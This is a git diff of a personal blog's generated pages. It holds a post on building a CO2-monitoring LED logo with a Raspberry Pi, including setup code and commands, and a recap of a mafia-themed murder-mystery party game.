    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/fabrication/index.xml b/public-clearnet/tags/fabrication/index.xml new file mode 100644 index 0000000..b65f3a8 --- /dev/null +++ b/public-clearnet/tags/fabrication/index.xml @@ -0,0 +1,400 @@ +Fabrication on AlipourIm journeyshttps://blog.alipour.eu/tags/fabrication/Recent content in Fabrication on AlipourIm journeysHugo -- 0.146.0enFri, 17 Oct 2025 00:00:00 +0000INET Logo That Breathes — From CAD to LEDs to a Calm Little Serverhttps://blog.alipour.eu/posts/inet_logo/Fri, 17 Oct 2025 00:00:00 +0000https://blog.alipour.eu/posts/inet_logo/<blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw
    +0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J
    +CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93
    +k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13
    +U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE
    +sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg
    +sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP
    +QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma
    +B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb
    +Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X
    +o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8=
    +=tAeg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md.asc
    +gpg --verify inet_logo.md.asc inet_logo.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/fabrication/page/1/index.html b/public-clearnet/tags/fabrication/page/1/index.html new file mode 100644 index 0000000..43efecb --- /dev/null +++ b/public-clearnet/tags/fabrication/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/fabrication/ + \ No newline at end of file diff --git a/public-clearnet/tags/family-tree/index.html b/public-clearnet/tags/family-tree/index.html new file mode 100644 index 0000000..e58631a --- /dev/null +++ b/public-clearnet/tags/family-tree/index.html @@ -0,0 +1,11 @@ +Family Tree | AlipourIm journeys +

    La Plaza: The Falcones & the Morettis

    Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war.

    October 25, 2025 · 13 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/family-tree/index.xml b/public-clearnet/tags/family-tree/index.xml new file mode 100644 index 0000000..c44533e --- /dev/null +++ b/public-clearnet/tags/family-tree/index.xml @@ -0,0 +1,201 @@ +Family Tree on AlipourIm journeyshttps://blog.alipour.eu/tags/family-tree/Recent content in Family Tree on AlipourIm journeysHugo -- 0.146.0enSat, 25 Oct 2025 07:52:53 +0000La Plaza: The Falcones & the Morettishttps://blog.alipour.eu/posts/murder_mystery_night/Sat, 25 Oct 2025 07:52:53 +0000https://blog.alipour.eu/posts/murder_mystery_night/Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war.Last night I attended a ZiS event called “the Murder Mystery night”.

    +

    The story was about two families. The Falcones, and the Moretti family.

    +
    +

    Gold-embossed invitations arrive at La Plaza for a celebration of life honoring Salvatore Falcone, recently slain Don. All members of the Moretti family are invited to the party!

    +

    Family Trees

    + + + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph falcone["Falcone — current generation"] +direction TB +Salvatore["Salvatore Falcone
    dead boss"] +Serena["Serena
    widow (bosswife)"] +Salvatore -- Married --> Serena +%% row: siblings +subgraph falcone_row1[ ] +direction LR + Sophia["Sophia
    underboss"] + Massimo["Massimo
    lawyer"] + Fabiola["Fabiola
    financial
    advisor"] + Aurora["Aurora
    associate"] +end + +%% row: next generation +subgraph falcone_row2[ ] +direction LR + Lorenzo["Lorenzo
    fixer
    (Sophia's son)"] + Michelangelo["Michelangelo
    enforcer
    (Massimo's son)"] + Antonio["Antonio
    hitman"] +end + +Sophia --> Lorenzo +Massimo --> Michelangelo +Fabiola -- Married --> Antonio +end +
    + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph moretti["Moretti family"] +direction TB +Benito["Benito
    boss"] +Nicoletta["Nicoletta
    bosswife"] +Claudia["Claudia
    ex wife"] +Benito -- Married --> Nicoletta +Benito -- Divorced --> Claudia + +%% row: children +subgraph moretti_row1[ ] +direction LR + Sergio["Sergio
    underboss"] + Lucia["Lucia
    associate"] +end +Benito -->|son| Sergio +Nicoletta -->|son| Sergio +Benito -->|daughter| Lucia +Claudia -->|daughter| Lucia + +%% row: Lucia's crew +subgraph moretti_row2[ ] +direction LR + Violetta["Violetta
    fixer"] + Santo["Santo
    enforcer"] +end +Lucia --> Violetta +Lucia --> Santo +end + +Enrico["Enrico
    finantial advisor"] +Benito ---|younger brother| Enrico +
    + + +
    +

    Who’s Who (quick dossiers)

    +

    Falcone notes

    +
      +
    • Salvatore Falcone (†) — Former Don, killed under mysterious circumstances.
    • +
    • Serena — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia.
    • +
    • Sophia — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore.
    • +
    • Massimo — Younger brother; justice-minded, hardened by his wife’s death.
    • +
    • Aurora — Youngest; underestimated as naive or harmless, but observant.
    • +
    • Fabiola — Ambitious financial brain; growth-focused, clashes with tradition.
    • +
    • Antonio — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have.
    • +
    • Michelangelo — Massimo’s son; enforcer torn by guilt over his mother’s murder.
    • +
    • Lorenzo — Sophia’s son; quiet fixer who tidies messes, unflappable.
    • +
    +

    Moretti notes

    +
      +
    • Benito — Calculating, paranoid Boss; obsessed with securing the bloodline through his son.
    • +
    • Nicoletta — Benito’s wife; once a prostitute, now regal and cunning.
    • +
    • Sergio — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the game.
    • +
    • Enrico — Benito’s younger brother; accountant; clever, restless for influence.
    • +
    • Violetta — The family’s ice-cold fixer; keeps things “clean,” whatever it costs.
    • +
    • Claudia — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways.
    • +
    • Lucia — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family.
    • +
    • Santo — Lucia’s son; bold, admired and doubted in equal measure.
    • +
    +

    Aside from these characters, there were two additional characters. +Falcon’s priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them!

    +
    +

    World sketch: the Falcones make problems disappear and launder fortunes behind bright lights and polished floors; the Morettis flaunt neon glamour while doing the real work in shadows.

    +
    +

    After the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded. +All I knew was that on the night of the murder, I was not in Falcon’s house, and that I was out in a casino with Aurora.

    +

    I didn’t know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO

    +

    So, without further of do, let’s dive riiiiiiiiiight in!!!! Weeeee haaaaa xD

    +

    Act I, the dinner

    +

    We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life. +Or that’s what was written in our invitations.

    +

    The Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone.

    +

    The clash was instant as they though we were disrespectful to wear such cloths. +As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill.

    +

    She said, “I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it.”

    +

    The Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she! +They said Why would they take it so far to accuse them of accusing us of murder.

    +

    Violetta, our family’s ice-cold fixer, replied, “it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention”.

    +

    They went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions.

    +

    While the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won’t name here out of privacy). Thank you again for such an amazing event!

    +

    Act II, the invitations

    +

    Sophia looked at us with her death smile and said, “I was involved with 9 invitations, the ones to our family, and nothing more.”

    +

    The room went into a deep silence. What did she mean? Who made Moretti’s invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti’s to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out?

    +

    The occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them.

    +

    Violetta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger…

    +

    Act III, the evidence

    +

    Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did.

    +

    There were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore’s body from the other side. The third picture was of Salvatore’s dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN.

    +

    Massimo got up from his sit, pointing to an article about her wife’s death. He stated how this was similar to her death, and how she died “The Moretti way”. “She was shot and pushed down the stairs. What other evidence do you need?” said Massimo.

    +

